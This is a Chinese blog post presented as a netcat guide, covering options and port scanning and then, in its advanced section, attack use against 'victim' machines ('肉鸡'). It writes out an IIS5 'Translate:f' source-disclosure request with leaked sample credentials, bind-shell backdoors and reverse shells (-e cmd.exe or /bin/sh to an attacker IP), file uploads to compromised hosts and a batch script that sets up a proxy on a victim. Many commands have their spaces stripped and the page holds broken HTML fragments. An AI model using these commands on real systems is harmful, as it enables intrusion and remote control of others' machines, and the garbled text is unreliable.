netcat使用指南

在网络工具中有“瑞士军刀”美誉的NetCat,

  在我们用了N年了至今仍是爱不释手。因为它短小精悍(这个用在它身上很适合,现在有人已经将其修改成大约10K左右,而且功能不减少)。现在就我的一些使用心得和一些帮助文档中,做一些介绍与大家共勉。

  1、了解NC的用法

  命令:nc?C

  技巧:win98用户可以在autoexec.bat加入path=nc的路径,win2000用户在环境变量中加入path中,Linux含有这个命令(redhat)

  1、基本使用

  想要连接到某处:nc[-options]hostnameport[s][ports]...

  绑定端口等待连接:

  nc-l-pport[-options][hostname][port]

  参数:

  -eprog程序重定向,一旦连接,就执行

  [危险!!]

  -ggatewaysource-routinghoppoint[s],upto8

  -Gnum

  source-routingpointer:4,8,12,...

  -h帮助信息

  -isecs延时的间隔

  -l

  监听模式,用于入站连接

  -n指定数字的IP地址,不能用hostname

  -ofile记录16进制的传输

  -pport本地端口号

  -r任意指定本地及远程端口

  -saddr本地源地址

  -uUDP模式

  -v详细输出――用两个-v可得到更详细的内容

  -wsecstimeout的时间

  -z将输入输出关掉――用于扫描时

  其中端口号可以指定一个或者用lo-hi式的指定范围。

  例如:扫描端口

  tcp扫描

  C:\nc>nc-v-z-w2192.168.0.801-140

  net

  [192.168.0.80]140(?)

  net[192.168.0.80]139(netbios-ssn)open

  net

  [192.168.0.80]138(?)

  net[192.168.0.80]137(netbios-ns)

  net

  [192.168.0.80]136(?)

  net[192.168.0.80]135(epmap)open

  net

  [192.168.0.80]81(?)open

  net[192.168.0.80]80(http)open

  net

  [192.168.0.80]79(finger)

  net[192.168.0.80]25(smtp)open

  net

  [192.168.0.80]24(?)

  net[192.168.0.80]23(telnet)

  net[192.168.0.80]

  21(FTP)

  udp扫描

  C:\nc>nc-u-v-z-w2192.168.0.801-140

  net

  [192.168.0.80]140(?)open

  net[192.168.0.80]139(?)open

  net

  [192.168.0.80]138(netbios-dgm)open

  net[192.168.0.80]137(netbios-ns)

  open

  net[192.168.0.80]54(?)open

  net[192.168.0.80]53(domain)open

  net[192.168.0.80]38(?)open

  net[192.168.0.80]37(time)open

  net

  [192.168.0.80]7(echo)open

  二、高级应用

  1.Window用法:

  (1)IE的MIME欺骗

  (
  target=_blank>">(

  打开这个页面,有
  target=_blank>">

  IE6.72,我们的操作系统不是LIUNX,我们不是从
  target=_blank>">

  微软会在它的页面上放
  target=_blank>">

  执行的perl脚本,根本无法看到,还是研究一下IE5和它通信时都告诉了它什么,抓包,我们会发现,我们的IE5告诉对方:我是MSIE5.0;Windows

  NT5.0;.NETCLR1.0.3705。。。。哈哈,level7.pl这个cgi应该是根据这些信息知道我们不是它要求的

  客户,嘿嘿,需要欺骗对方才行,用军刀来可以实现,如下做就可以哄对方了:

  nc;">[enter]

  GET

  /cgi-bin/level7.plHTTP/1.1[enter]

  Accept:image/gif,image/x-xbitmap,

  application/msWord,*/*[enter]

  Referer
  target=_blank>">

  [enter]

  Accept-Language:zh-cn[enter]

  Accept-Encoding:gzip,deflate

  [enter]

  User-Agent:Mozilla/4.0(compatible;MSIE6.72;Linux8.8.8i986)

  [enter]

  Host:[enter] target=_blank>">[enter]

  Connection:

  Keep-Alive[enter]

  注意,如果出现HTTP400时,说明你输入格式有问题,出现httpd

  200回应时,就给出结果了:

  哈哈!赶快去实现一下(实践是成功之母)

  (2)IIS5“Translate:f”显示代码脆弱点

  Translate:f脆弱点的机制:发送一个畸形的HTTPGET

  请求给服务器方一个可执行脚本或相关文件类型(例如.ASP或者global.asa)。这些文件是用于服务器上运行的,绝不会到客户机上去,而这个请求就会导致IIS将这种文件的内容发送到远端的客户机上,而不是在服务器上运行。这种畸形的HTTP

  GET请求的关键特性是该请求的末尾有一个特定的头信息Translate:f,并有一个反斜杠”\”附于URL之后。下面就有这样的一个例子([CRLF]代表回车字符)

  注意GETglobal.asa后的反斜杠以及Translate:f头信息。

  GET/global.asa\HTTP/1.0

  Host:192.168.0.1

  User-Agent:SensePostData

  Content-Type:application/x-www-form-urlencoded

  Translate:f

  [CRLF]

  [CRLF]

  将以上内容保存在一个文本文件中(例如example.txt)

  然后向一个有这个漏洞的服务器发送

  c:\>typeexample.txtnc?Cnvv192.168.0.8080

  (UNKNOWN)

  [192.168.0.80]80(?)open

  HTTP/1.1200OK

  Server:Microsoft-IIS/5.0

  Date:Tue,03Dec200208:50:46GMT

  Content-Type:

  application/octet-stream

  Content-Length:2790

  ETag:“0448299fcd6df1:bea”

  Last-Modified:Wed,13Nov200218:50:46GMT

  Accept-Ranges:bytes

  Cache-Control:no-cache

  (“ConnectionText”)=

  “Dsn=ph;UID=myman;Password=mygod)”

  (“LDAPServer”)=

  “LADP://:389”

  (“LDAPUserID”)=“CN=Admin”

  (“LDAPPwd”)

  =“mygod”

  ………

  3.1.端口的刺探:

  nc-vvipport

  RIVER[192.168.0.198]19190(?)open

  //显示是否开放open

  3.2.扫描器

  nc-vv-w5ipport-portport

  nc-vv-zip

  port-portport

  这样扫描会留下大量的痕迹,系统管理员会额外小心

  3.3.后门

  victimmachine://受害者的机器

  nc-l-pport-ecmd.exe

  //win2000

  nc-l-pport-e/bin/sh//unix,linux

  attackermachine:

  //攻击者的机器.

  ncip-pport//连接victim_IP,然后得到一个shell。

  3.4.反向连接

  attackermachine:

  //一般是sql2.exe,远程溢出,webdavx3.exe攻击.

  //或者wollf的反向连接.

  nc-vv-l-pport

  victimmachine:

  nc-ecmd.exeattackerip-pport

  nc-e/bin/s

  attackerip-pport

  或者:

  attackermachine:

  nc-vv-l-pport1/*用于输入*/

  nc-vv-l-pprot2

  /*用于显示*/

  victimmachine:

  ncattacker_ipport1cmd.exencattacker_ip

  port2

  ncattacker_ipport1/bin/shncattacker_ipport2

  139要加参数-s(nc.exe-L-p139-d-ecmd.exe-s

  对方机器IP)

  这样就可以保证nc.exe优先于NETBIOS。

  3.5.传送文件:

  3.5.1attackermachine path\file.txt/*victimmachine*/

  需要CtrlC退出

  //肉鸡需要gui界面的cmd.exe里面执行(终端登陆,不如安装FTP方便).否则没有办法输入CrlC.

  3.5.2attackermachinevictimmachine//上传命令文件到肉鸡

  nc-vv-l-pport

  >path\file.txt     /*victimmachine*/需要CtrlC退出

  nc-dvictim_ipport

  可以shell执行

  //这样比较好.我们登陆终端.入侵其他的肉鸡.可以选择shell模式登陆.

  结论:可以传输ascii,bin文件.可以传输程序文件.

  问题:连接某个ip后,传送完成后,需要发送CtrlC退出nc.exe.

  或者只有再次连接使用pskill.exe

  杀掉进程.但是是否释放传输文件打开的句柄了?

  3.6端口数据抓包.

  nc-vv-w2-otest.txt;">

  error

  command""unr

  ecognized...

  3.7telnet,自动批处理。★★★★★我要重点推荐的东西就是这个.

  ncvictim_ipportpath\file.cmd /*victimmachine*/显示执行过程.

  nc-vvvictim_ipportpath\file.cmd /*victimmachine*/显示执行过程.

  nc-dvictim_ipport_______________file.cmd________________________

  password

  cd

  %windir%

  echo[]=[%windir%]

  c:

  cd\

  mdtest

  cd/d

  %windir%\system32\

  netstopsksockserver

  snake.exe-configport

  11111

  netstart

  sksockserver

  exit

  _______________file.cmd__END___________________

posted @ 2016-04-23 21:46  旧巷里的旧少年  阅读(593)  评论(0编辑  收藏  举报